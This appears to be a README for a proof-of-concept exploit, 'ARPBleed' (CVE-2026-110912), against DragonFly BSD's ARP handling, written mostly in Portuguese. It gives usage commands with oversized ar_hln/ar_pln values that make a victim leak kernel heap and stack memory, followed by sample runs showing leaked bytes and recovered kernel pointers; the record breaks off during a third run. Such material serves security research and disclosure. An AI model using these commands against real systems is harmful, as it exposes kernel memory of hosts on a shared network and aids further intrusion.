
Prova de conceito em Python/scapy para CVE-2026-110912 (ARPBleed), uma leitura fora dos limites de ar_hln/ar_pln em ARP no DragonFly BSD que vaza memória heap e stack do kernel.
ARPBleed 🩸
Vulnerabilidade no Tratamento de Pacotes ARP | DragonFly BSD | Pesquisa de Segurança
ARPBleed é o nome associado à vulnerabilidade reportada CVE-2026-110912, envolvendo o tratamento inadequado dos campos de comprimento de pacotes do Address Resolution Protocol (ARP) no DragonFly BSD.
De acordo com a descrição preliminar da vulnerabilidade, pacotes ARP malformados podem desencadear uma leitura de memória fora dos limites, potencialmente expondo porções da memória do kernel através de respostas de rede.
Importante: Os detalhes da vulnerabilidade apresentados aqui são preliminares e requerem verificação contra registros CVE autoritativos e avisos oficiais do fornecedor antes de serem considerados confirmados.
| Atributo | Detalhes |
|---|---|
| CVE ID | CVE-2026-110912 |
| Nome da Vulnerabilidade | ARPBleed |
| Produto Reportado | DragonFly BSD |
| Tipo de Vulnerabilidade | Leitura fora dos limites |
| CWE Relacionado | CWE-130 — Tratamento Inadequado de Inconsistência de Parâmetro de Comprimento |
| Vetor de Ataque Reportado | Rede adjacente |
| Autenticação Necessária | Reportadamente nenhuma |
| Impacto Potencial | Divulgação de memória do kernel |
| Pontuação CVSS Reportada | 7.1 — Não Verificada |
| Versões Afetadas Reportadas | Até 6.4.2 — Não Verificada |
| Remediação | Verificar o patch oficial do fornecedor |
O Address Resolution Protocol (ARP) é usado em redes IPv4 para resolver endereços IP em endereços de hardware, tipicamente endereços MAC.
Quando um host precisa se comunicar com outro dispositivo na rede local, ele pode transmitir uma solicitação ARP. O dispositivo com o endereço IP correspondente pode responder com uma resposta ARP contendo seu endereço de hardware.
CVE-2026-110912-ARPBleed.py - arquivo único, requer python3 + scapy e root (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
Os primeiros 6 bytes da região ar_sha vazada são o MAC real da vítima e os primeiros 4 bytes de ar_spa são o IP da vítima - tudo depois disso é memória do kernel fora dos limites. Código de saída 0 em um vazamento capturado, 2 quando nenhuma resposta chega (comportamento de um kernel corrigido).
Vítima: DragonFly 6.4.2-RELEASE (instalação padrão, QEMU virtio-net), 10.170.0.10. Atacante: Kali, scapy 2.7.01, 10.170.0.2, mesmo segmento L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=200 arp_body=420 frame=434
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 434 bytes (reply ar_hln=6 ar_pln=200)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)